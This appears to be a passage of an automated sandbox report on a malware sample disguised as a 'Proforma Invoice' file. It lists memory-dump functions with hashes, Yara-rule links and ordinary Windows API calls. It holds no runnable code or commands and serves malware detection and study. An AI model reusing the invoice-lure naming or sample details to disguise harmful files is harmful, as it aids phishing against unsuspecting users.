Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc33ff497af8716b88c9db9f56b591e354f799ea8fd05299b25859e4522af59
Instruction ID: 9547ab60c2cb58ddf5561a59079701b1eceab66b298943ca646228fd68ccdbc5
Opcode Fuzzy Hash: 2fc33ff497af8716b88c9db9f56b591e354f799ea8fd05299b25859e4522af59
Instruction Fuzzy Hash: 29216630E02248AFDF04CFA5D654AEEBFBAAF49305F248069E411E6390DB35DA41DF20

Function 026962F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36bdb6e4cb29d3cf686405fc16ce4d4836a4c57487b42eb075be7c052237fd16
Instruction ID: 4db34f4f5ee0c09dd54777cfaf46e55690a0ce046381212d25559b538ece6656
Opcode Fuzzy Hash: 36bdb6e4cb29d3cf686405fc16ce4d4836a4c57487b42eb075be7c052237fd16
Instruction Fuzzy Hash: 9A11C631705A119FDB159A29D46892E77AAFFC975631940BAE816CB360CF35DC02CB90

Function 026927F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2783a8e6a2a8915150bd6fbf1c0e230c41a408e4235a196e867633d6c27bcfb
Instruction ID: dcc3f867098e9dfe5b76a5508bb3ff270ad7df03da89a504f09887e43b35dddd
Opcode Fuzzy Hash: d2783a8e6a2a8915150bd6fbf1c0e230c41a408e4235a196e867633d6c27bcfb
Instruction Fuzzy Hash: D921C3B4D052098FCB41DFA9D5945EDBFF1FF09215F1052AAD805B2210EB355A85CFA1

Function 025FD287 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4177868623.00000000025FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 025FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_25fd000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction ID: 1129dbdf42b218f5162fb8af5406ea50d5406d8dceb7609e09c5a5fb4d36d88d
Opcode Fuzzy Hash: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction Fuzzy Hash: 1121B176504240DFCB06CF14D9C4B1ABF72FB84314F24C5A9DE490B696C33AD41ACBA2

Function 0269F040 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bbadf903375fdfda23729a0ec30568945afca6b6801501c8cae6b2c9894b29b
Instruction ID: 382ab18a0ba93778e28b94a3e479e2685ada815dc6083c973041a77b6aec31cf
Opcode Fuzzy Hash: 5bbadf903375fdfda23729a0ec30568945afca6b6801501c8cae6b2c9894b29b
Instruction Fuzzy Hash: 16114CB0D002099FDB44EFA8D58469EBBF6FB84305F10D9B9D1189B368EB709A459F81

Function 0269F033 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0282d7ce0ff567ca8575b2e47de738abf61da1f224e22b81a46f75a73a833956
Instruction ID: 03e32ab67f3074b97eed3104abdc82068a0cbff4e3d8b6cd2176795094270d20
Opcode Fuzzy Hash: 0282d7ce0ff567ca8575b2e47de738abf61da1f224e22b81a46f75a73a833956
Instruction Fuzzy Hash: 9621D2B0E0024A9FDB05DFA8D58468EBFF2FB81304F0096E9C1549B369DB709A459B81

Function 02695E98 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cc8d3cf7e166fb9d4c8cc3fcf5583ef7b0af5f701c7fecc32f1e8aa0fad7fa0
Instruction ID: 5a12f97aba5e9a2bd7830284f837859d1d137cd0d223d3f7e544824df07d7e72
Opcode Fuzzy Hash: 3cc8d3cf7e166fb9d4c8cc3fcf5583ef7b0af5f701c7fecc32f1e8aa0fad7fa0
Instruction Fuzzy Hash: 8901F532B001156FEB12AE549810AAE3BAFEBC9250B05806BF515D7341CE769D129794

Function 02698E9A Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bbb04545cc00e99283c7d30b15983d0ee8c5bab2f114ad52dd5d86f24ef4d74
Instruction ID: 40a77c4f8e6451513c6e2577e422fbac5181a2d4f8cea3cd11d568e904a33db0
Opcode Fuzzy Hash: 6bbb04545cc00e99283c7d30b15983d0ee8c5bab2f114ad52dd5d86f24ef4d74
Instruction Fuzzy Hash: 270157313002068FDF249A68D8647AE77AAEB84A56B1050A9E00ADB394EF75CD05CB51

Function 0260D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4177951990.000000000260D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0260D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_260d000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: a6415442d17bb46f5549dd345a0e34cfad8bf1849fcb49f2ab9f4e3f2be65bef
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 3111D075504284CFCB15CF50D9C4B16BF61FB44318F24C6A9D8494B792C33AD44ADF51

Function 0269EA09 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d4670a508b2eac014701b697286f45501bf09cf84318e0a2d47039e945714c
Instruction ID: d38bc5c3bea7b16299cec2d5a96fe1b70c029052d9ed82da0fb7d1fff32cb7fa
Opcode Fuzzy Hash: e1d4670a508b2eac014701b697286f45501bf09cf84318e0a2d47039e945714c
Instruction Fuzzy Hash: E0118074D0020AAFCB41DFA8E4849FEBBB1FB48300F1041A6D914A3315D7755956EF92

Function 0269ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83cc749d3b99b32bf5a48d5a9b62eda27602d16d822e9e030014445484d8a079
Instruction ID: 125fabebe5db22011a67bdfb6cd2a25c80b1812d051004447d795dde388011b3
Opcode Fuzzy Hash: 83cc749d3b99b32bf5a48d5a9b62eda27602d16d822e9e030014445484d8a079
Instruction Fuzzy Hash: 36F09635300610CB8B156A6ED464A2AB7DEEFC9A59359407AE909CB365EF71DC03C790

Function 02699C2C Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f83dff73b2ebefeed6d58eb9a7901d705a541f423115090ddc448d920c5f8638
Instruction ID: 666cc0bee27e14ee83f3a6befa924103666ff6f1f3b490f849e22245fde26902
Opcode Fuzzy Hash: f83dff73b2ebefeed6d58eb9a7901d705a541f423115090ddc448d920c5f8638
Instruction Fuzzy Hash: A9F01C72A11118DFDF049F699848AAABBA9EB88335F00C126EA1897254E7318A15CB91

Function 026928A3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1dc5171bb6dc5ae4eca461f64c9d9eaeb0c7b79ed67948b18a55a7537b8a822
Instruction ID: 3a8072ca34152230e8e024cb717969919b42ddd743722f18a774a55a534035fa
Opcode Fuzzy Hash: e1dc5171bb6dc5ae4eca461f64c9d9eaeb0c7b79ed67948b18a55a7537b8a822
Instruction Fuzzy Hash: BCE02636D20326CBC701EBB0AC000EEF734EDD5211B14855BC0A532081EB30220BCBA2

Function 02696739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e20a03130584dddd055291701c62a2a8f818fd3c74fb13c98033ae4a47bc03b
Instruction ID: 55c0ab0c414bce493b699b7f4eb361bceb76302f3fc6f21fccb6786d418037ac
Opcode Fuzzy Hash: 8e20a03130584dddd055291701c62a2a8f818fd3c74fb13c98033ae4a47bc03b
Instruction Fuzzy Hash: E7D05B3154C7414FD702B334E8DA5453B27E6C520531597E1D0054A66FDB759C4F9710

Function 026928B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 428bac265608ddda812281ae623388a14a81691149d33f22ec87ff3dc3ac8f0d
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: 428bac265608ddda812281ae623388a14a81691149d33f22ec87ff3dc3ac8f0d
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 02698EF7 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac74072b9c239918bda3c684ed830cc08505031150f4b588d606ab941e319104
Instruction ID: b4e0b488d01eb3196f47a974d362b408d2acd789342d5f59a850e60b7ed6073b
Opcode Fuzzy Hash: ac74072b9c239918bda3c684ed830cc08505031150f4b588d606ab941e319104
Instruction Fuzzy Hash: 5AC0127320D0242AAA28104E7C80BA3AB4DC3C22F4A211137FA2C97200AC428C8282A4

Function 0269AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be4db47ee538cc7ceb31fc0b5df80626c043c0c886bd19a2956e884d308751c2
Instruction ID: 76c3d21c10792282ac8ea7d1504c0947337a09bde5706bb344276bd4dbcb58b8
Opcode Fuzzy Hash: be4db47ee538cc7ceb31fc0b5df80626c043c0c886bd19a2956e884d308751c2
Instruction Fuzzy Hash: A2D0673AB40018DFCB049F99E8508DDF7B6FB98221B148117E915A3261C631A925DB54

Function 02696748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02575855d6c5ca99bde706e5827a60179d42285d3fbd3a2a6f7631eb450a5a56
Instruction ID: 220726f54fd13192c4c9286bfdfb0427a947681215096869324bfee7f365af6d
Opcode Fuzzy Hash: 02575855d6c5ca99bde706e5827a60179d42285d3fbd3a2a6f7631eb450a5a56
Instruction Fuzzy Hash: 79C01230148B094EC641F765ED99959B72FEBC0200B4086A0A10A0A76EEFB8A8895A94

Non-executed Functions

Function 02696920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 0269692C
\;^q, xrefs: 0269695E
\;^q, xrefs: 02696936
\;^q, xrefs: 02696952

Memory Dump Source

Source File: 00000009.00000002.4178436976.0000000002690000.00000040.00000800.00020000.00000000.sdmp, Offset: 02690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2690000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: f648f4a769e345eaf26badef1785b10c05bf3b91590ba676f0337299c950381a
Instruction ID: 259a43840aeb9cb8b90295c5206c916bb10d7bcb7a51543fa3bdd250890745e0
Opcode Fuzzy Hash: f648f4a769e345eaf26badef1785b10c05bf3b91590ba676f0337299c950381a
Instruction Fuzzy Hash: 7F017C31B403169FCF6C8E2DC544A2577EFAF88A64725456AE446CB3B4DE71DC42C790

Analysis Process: vrhZELiHpiub.exePID: 8164, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	64
Total number of Limit Nodes:	5

Executed Functions

Function 0081D111 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0081D19E
GetCurrentThread.KERNEL32 ref: 0081D1DB
GetCurrentProcess.KERNEL32 ref: 0081D218
GetCurrentThreadId.KERNEL32 ref: 0081D271

Memory Dump Source

Source File: 0000000A.00000002.1809825608.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_810000_vrhZELiHpiub.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 0089618d069db7723431d2e2f50feec2557f4360c2f17d95f26be0b09f5393b4
Instruction ID: 50bb56a1f30e1b0ae8b793f68e2b3d1be3d8f25be19747e4173e73304aa3d9de
Opcode Fuzzy Hash: 0089618d069db7723431d2e2f50feec2557f4360c2f17d95f26be0b09f5393b4
Instruction Fuzzy Hash: A65154B09003498FDB44DFA9D548BDEBBF5FF48304F20846AE419A7360D734A984CB65

Function 0081D120 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0081D19E
GetCurrentThread.KERNEL32 ref: 0081D1DB
GetCurrentProcess.KERNEL32 ref: 0081D218
GetCurrentThreadId.KERNEL32 ref: 0081D271

Memory Dump Source

Source File: 0000000A.00000002.1809825608.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_810000_vrhZELiHpiub.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b0baa4ac37610b74c19530cf14a1d31e7cd79a9ee83a66babab5cfdca2f6c936
Instruction ID: 0d9c6fb628bb6d91337af421ed38e6942a4e830bc1c1d6e22da503fd33ca77b6
Opcode Fuzzy Hash: b0baa4ac37610b74c19530cf14a1d31e7cd79a9ee83a66babab5cfdca2f6c936
Instruction Fuzzy Hash: AE5133B09003499FDB14DFAAD548BDEBBF5FF48304F20846AE419A7260DB74A984CF65

Function 0081AE78 Relevance: 1.7, APIs: 1, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0081B0DE

Memory Dump Source

Source File: 0000000A.00000002.1809825608.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_810000_vrhZELiHpiub.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5a9630a604fb0434f8622b931c0ad147d0f16cb5e22e1677d6e51e083964cfe2
Instruction ID: 5bc61103dc066b716e59377647c5161574ed281851165b5c705e699aa390c04c
Opcode Fuzzy Hash: 5a9630a604fb0434f8622b931c0ad147d0f16cb5e22e1677d6e51e083964cfe2
Instruction Fuzzy Hash: DA919C70A01B458FD729DF29D45079ABBF5FF88304F04892ED48ACBA51D735E88ACB91

Function 00815914 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 008159D1

Memory Dump Source

Source File: 0000000A.00000002.1809825608.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_810000_vrhZELiHpiub.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e87ae64545f1e431d35f28efe37eb37a0cab49350a9dbdb8b914daa3081f6798
Instruction ID: b3fcb644e6047b16264604d01b54e2a74c774b0622573c1f4f3f298b73ad821f
Opcode Fuzzy Hash: e87ae64545f1e431d35f28efe37eb37a0cab49350a9dbdb8b914daa3081f6798
Instruction Fuzzy Hash: 1E41E3B0C00619CFDB24DFA9C884BDDBBB6FF85304F24816AD409AB255DB755986CF90

Function 008144C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 008159D1

Memory Dump Source

Source File: 0000000A.00000002.1809825608.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_810000_vrhZELiHpiub.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 88e9c76db1263ba09e9e39a498b897dd43acd533c4222cdbfc6c802f29fed9a0
Instruction ID: 890025eaf8aaace8342c6314ed8173f1a5cf0943c745c068617f5b56a8094fd0
Opcode Fuzzy Hash: 88e9c76db1263ba09e9e39a498b897dd43acd533c4222cdbfc6c802f29fed9a0
Instruction Fuzzy Hash: D341D4B0C0061DCBDB24DFA9C844BDEBBB9FF85304F24806AD409AB255DB755985CF90

Function 04ADECB8 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,04ADECA5,?,?), ref: 04ADED57

Memory Dump Source

Source File: 0000000A.00000002.1816436913.0000000004AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4ad0000_vrhZELiHpiub.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: df2dd00467d792ab1d794ba9eae8ebed9d28ae4c8c89f6a2f0868773cb28f9de
Instruction ID: 18ee9d0010c9f40166098990997b0b65308368e279e95f0fd4d9c07f20323732
Opcode Fuzzy Hash: df2dd00467d792ab1d794ba9eae8ebed9d28ae4c8c89f6a2f0868773cb28f9de
Instruction Fuzzy Hash: 2D31E0B59002499FDB10CF9AD880ADEFBF5FB48320F14842EE869A7210D774A944CFA0

Function 04ADD714 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,04ADECA5,?,?), ref: 04ADED57

Memory Dump Source

Source File: 0000000A.00000002.1816436913.0000000004AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4ad0000_vrhZELiHpiub.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: bf3073718ccc1447a51555f4c30140c354b4d880c5f4281001ac5c8fe5e8f29a
Instruction ID: 4b6be9a915e840b929ae8eb536825d7a93434713ad9abbe8527a8e81753d343f
Opcode Fuzzy Hash: bf3073718ccc1447a51555f4c30140c354b4d880c5f4281001ac5c8fe5e8f29a
Instruction Fuzzy Hash: EF31E0B59002099FDB10DF9AD884ADEFBF5FB48320F14842AE81AA7310D774A940CFA0

Function 0081D768 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0081D7F7

Memory Dump Source

Source File: 0000000A.00000002.1809825608.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_810000_vrhZELiHpiub.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fc5a52135d4a3887ff59c93809be2faf243cf79e7fd5a97931530570b753e8c6
Instruction ID: 5b5b09b923a5fb6e46ec12ad50796c02edb5ee62c097a68a5489617652c8b7f9
Opcode Fuzzy Hash: fc5a52135d4a3887ff59c93809be2faf243cf79e7fd5a97931530570b753e8c6
Instruction Fuzzy Hash: C621E5B59002489FDB10CFAAD585ADEBFF5FF48310F14841AE958A3351C378A945CFA5

Function 04AD0381 Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 04AD03F8

Memory Dump Source

Source File: 0000000A.00000002.1816436913.0000000004AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4ad0000_vrhZELiHpiub.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 55512f82cf6aba00291db028612d5f3a756f70988b1e3f3f0d6091913e2d0281
Instruction ID: e3a1c1d8166b9ce66776b8813db3bbb2fb6badc22bf3c45f2204172b27ff51e7
Opcode Fuzzy Hash: 55512f82cf6aba00291db028612d5f3a756f70988b1e3f3f0d6091913e2d0281
Instruction Fuzzy Hash: FF21C0B59083898FCB11CFA9C4456EEBFF4FB09314F14806AD145A7252D7385945CB62

Function 0081D770 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0081D7F7

Memory Dump Source

Source File: 0000000A.00000002.1809825608.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_810000_vrhZELiHpiub.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9fec18db6f65c058fa3d4a5ab3c1f13e531a097ba0e44e00c4f5b9442876e21d
Instruction ID: 72d62b3c8d39ae85c90a467384f403858ed0067b4aebc5acab7a4f50510c252e
Opcode Fuzzy Hash: 9fec18db6f65c058fa3d4a5ab3c1f13e531a097ba0e44e00c4f5b9442876e21d
Instruction Fuzzy Hash: FA21C4B59002589FDB10CF9AD584ADEBBF9FB48310F14841AE954A7350D374A944CFA5

Function 04AD0398 Relevance: 1.6, APIs: 1, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 04AD03F8

Memory Dump Source

Source File: 0000000A.00000002.1816436913.0000000004AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4ad0000_vrhZELiHpiub.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 52b6b585deb68c9cfb19887ced59b5d2030fb93eba9917343942091e0e21edf0
Instruction ID: 57ff2d7ef05b75b5220abf51cf99c8a809ae81f360c2e03a53b774b1e9fee6ab
Opcode Fuzzy Hash: 52b6b585deb68c9cfb19887ced59b5d2030fb93eba9917343942091e0e21edf0
Instruction Fuzzy Hash: 2D1188B59042498FDB10DFAAC445BEEBBF8FB48324F14842AD459A3241D778A584CFA1

Function 0081B078 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0081B0DE

Memory Dump Source

Source File: 0000000A.00000002.1809825608.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_810000_vrhZELiHpiub.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4817a12b66dcc3e8182db2770dbb92072f56ce1a814da6518c6e12b4272d16be
Instruction ID: 454f3034e1370ebd30d8b5b96dc0c56f6ec123588f185bf393036002f8c012c6
Opcode Fuzzy Hash: 4817a12b66dcc3e8182db2770dbb92072f56ce1a814da6518c6e12b4272d16be
Instruction Fuzzy Hash: 15110FB5C006498FCB10DF9AC444ADEFBF8EF88324F10842AD829A7210D375A585CFA1

Function 04ADED91 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,04ADECA5,?,?), ref: 04ADED57

Memory Dump Source

Source File: 0000000A.00000002.1816436913.0000000004AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4ad0000_vrhZELiHpiub.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: c2ce2115bc8edd1feed5833866cea19012da119cfcfa86e6122f498494ee224b
Instruction ID: 7447dc3992b7374442e04fa5f9d133e446866de3d916f18567ad3a217d62c4bc
Opcode Fuzzy Hash: c2ce2115bc8edd1feed5833866cea19012da119cfcfa86e6122f498494ee224b
Instruction Fuzzy Hash: E401AD728002489FDB11DFA8E8447CEBFB1BB88324F18800AE15AAB221C775A445CB61

Function 007BD1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1808808310.00000000007BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7bd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff321c49327f342d82cbbbbabca87432539e4d09a3c9937530eaf3302251f6cc
Instruction ID: 9eed287fd5be9dc2acf1709c80aec13d008e939d138866f6c20f85e81c7b67c8
Opcode Fuzzy Hash: ff321c49327f342d82cbbbbabca87432539e4d09a3c9937530eaf3302251f6cc
Instruction Fuzzy Hash: 91210372504280DFCB15DF14D9C4BAABF65FB88310F20C569ED094B256D33ADC16CBA1

Function 007CD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

